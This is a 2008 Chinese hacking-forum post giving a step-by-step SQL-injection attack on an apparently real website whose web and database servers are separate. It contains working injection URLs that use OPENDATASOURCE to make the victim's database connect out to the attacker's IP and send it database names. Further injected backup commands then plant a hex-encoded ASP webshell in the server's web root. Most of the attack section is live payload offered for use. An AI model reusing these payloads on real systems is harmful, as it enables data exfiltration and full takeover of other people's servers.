服务器维护,服务器代维,安全设置,漏洞扫描,入侵检测服务

dirtysea 发表于 2008-11-5 05:03:45

Sql注入网站与数据库分离拿shell实例

<DIV class=content>
<P><SPAN class=Apple-style-span style="WORD-SPACING: 0px; FONT: 14px/20px Arial; TEXT-TRANSFORM: none; COLOR: rgb(0,0,0); TEXT-INDENT: 0px; WHITE-SPACE: normal; LETTER-SPACING: normal; BORDER-COLLAPSE: separate; orphans: 2; widows: 2">即使数据库和WEB不在一块还是有机会搞的.并不是说一点机会没.一般
<DIV class="entry-body nerr" style="DISPLAY: block; FONT-SIZE: 12px; FILTER: none; VISIBILITY: visible! important; LINE-HEIGHT: normal; FONT-FAMILY: Arial"><NOBR style="LINE-HEIGHT: normal"><STRONG class=kgb style="FONT-WEIGHT: normal; COLOR: rgb(0,0,255); LINE-HEIGHT: normal; TEXT-DECORATION: underline">服务器</STRONG></NOBR>装好系统什么的.都会装个IIS吧?列他C盘.看看有没有Inetpub这个目录.就知道他有没有装IIS了.但是.不知道他IP也?怎么办呢?可以这样来,PING一下WEB<NOBR style="LINE-HEIGHT: normal"><STRONG class=kgb style="BORDER-TOP-WIDTH: 0px; PADDING-RIGHT: 0px; PADDING-LEFT: 0px; FONT-WEIGHT: normal; BORDER-LEFT-WIDTH: 0px; BORDER-BOTTOM-WIDTH: 0px; PADDING-BOTTOM: 0px; MARGIN: 0px; COLOR: rgb(0,0,255); LINE-HEIGHT: normal; PADDING-TOP: 0px; BORDER-RIGHT-WIDTH: 0px; TEXT-DECORATION: underline">服务</STRONG></NOBR>器. 扫他这一C段的1433端口.看看哪台开了.不过这方法也不好.现在很多主机都启用了防火墙.1433端口就算开了你也扫不着.这该怎么办呢?可以利用 opendatasource宏让对方的SQL与自己的数据库建立连接.既然能建立连接.就可以得到数据库服务器的IP地址了.我们来试试看.有几个前提 得说一下.第一.你机器必须要有公网IP.而且开放的1433端口要保证能被外网访问到.好.条件满足.就开始做吧!<SPAN class=Apple-converted-space>&nbsp;</SPAN><BR style="LINE-HEIGHT: normal"><BR style="LINE-HEIGHT: normal">我现在搞的这站.100%数据和WEB不在一块.但是从C盘看到了Inetpub文件夹.说明这数据库服务器安装了IIS.但是得不到他IP呀.怎么搞哦.简单.就用上面所说的方法搞一下.先在本机建个库先.打开查询分析器输入<SPAN class=Apple-converted-space>&nbsp;</SPAN><BR style="LINE-HEIGHT: normal"><BR style="LINE-HEIGHT: normal">create database hack520 Create TABLE zhu(name nvarchar(256) null);Create TABLE J8(id int NULL,name nvarchar(256) null); 点执行.如图<BR style="LINE-HEIGHT: normal"><BR style="LINE-HEIGHT: normal">建立了一个hack520的库名.和zhu J8两个表.zhu里面有name这一个字段.J8也放了两字段名.一个是id一个是name.好了.现在就可以开始建立连接了~~~~~~~先看一下这 条SQL语句insert into opendatasource('sqloledb','server=你的IP;uid=SQL用户;pwd=SQL密码;database=建立的库 名') .库名.表名 '执行的语句' 恩现在开始吧...<SPAN class=Apple-converted-space>&nbsp;</SPAN><BR style="LINE-HEIGHT: normal"><BR style="LINE-HEIGHT: normal"><FONT style="LINE-HEIGHT: normal" color=#ff00fc>http://www.xxx.com/news.asp?id=126</FONT>'insert%20into%20opendatasource('sqloledb','server=219.149.xx.182;uid=sa;pwd=hack520!@#77169;database=<SPAN class=Apple-converted-space>&nbsp;</SPAN><BR style="LINE-HEIGHT: normal"><BR style="LINE-HEIGHT: normal">hack520').hack520.dbo.zhu%20select%20name%20from%20master.dbo.sysdatabases--<SPAN class=Apple-converted-space>&nbsp;</SPAN><BR style="LINE-HEIGHT: normal"><BR style="LINE-HEIGHT: normal">在IE上执行咯.呵呵这个时候对方就会连接到我机器的SQL服务器.不信?netstat -an看一下~图<BR style="LINE-HEIGHT: normal"><BR style="LINE-HEIGHT: normal"><BR style="LINE-HEIGHT: normal">已经连过来了.现在数据库服务器IP知道了.而且数据库服务器又开了80.现在干什么呢?<SPAN class=Apple-converted-space>&nbsp;</SPAN><BR style="LINE-HEIGHT: normal"><BR style="LINE-HEIGHT: normal">bak一个webshell上去吧.已知WEB目录C:\Inetpub\wwwroot.好.开始<SPAN class=Apple-converted-space>&nbsp;</SPAN><BR style="LINE-HEIGHT: normal"><BR style="LINE-HEIGHT: normal"><FONT style="LINE-HEIGHT: normal" color=#ff00fc>http://www.xxx.com/news.asp?id=126</FONT>;use tg800;declare @a sysname,@s varchar(4000) select @a=db_name(),@s=0x737339323238 backup database @a to disk=@s-- 备份当前库<SPAN class=Apple-converted-space>&nbsp;</SPAN><BR style="LINE-HEIGHT: normal"><BR style="LINE-HEIGHT: normal"><FONT style="LINE-HEIGHT: normal" color=#ff00fc>http://www.xxx.com/news.asp?id=126</FONT>;Drop table ;create table . ( )-- 建表<SPAN class=Apple-converted-space>&nbsp;</SPAN><BR style="LINE-HEIGHT: normal"><BR style="LINE-HEIGHT: normal"><FONT style="LINE-HEIGHT: normal" color=#ff00fc>http://www.xxx.com/news.asp?id=126</FONT>;insert into hack520(cmd) values(0x3C2565786563757465207265717565737428226C2229253E)-- 插入蓝屏木马<SPAN class=Apple-converted-space>&nbsp;</SPAN><BR style="LINE-HEIGHT: normal"><BR style="LINE-HEIGHT: normal"><FONT style="LINE-HEIGHT: normal" color=#ff00fc>http://www.xxx.com/news.asp?id=126</FONT>;declare @a sysname,@s varchar(4000) select @a=db_name(),@s=0x433A5C496E65747075625C777777726F6F745C7A68752E617370<SPAN class=Apple-converted-space>&nbsp;</SPAN><BR style="LINE-HEIGHT: normal"><BR style="LINE-HEIGHT: normal">backup database @a to disk=@s WITH DIFFERENTIAL,FORMAT-- 再次以差异备份得到WEBSHELL<SPAN class=Apple-converted-space>&nbsp;</SPAN><FONT style="LINE-HEIGHT: normal" color=#ff00fc>http://221.216xxx.xx/zhu.asp</FONT><SPAN class=Apple-converted-space>&nbsp;</SPAN><BR style="LINE-HEIGHT: normal"><BR style="LINE-HEIGHT: normal">接下来就不说了,都知道怎么做了</DIV></SPAN>
<P></P></DIV>
页: [1]
查看完整版本: Sql注入网站与数据库分离拿shell实例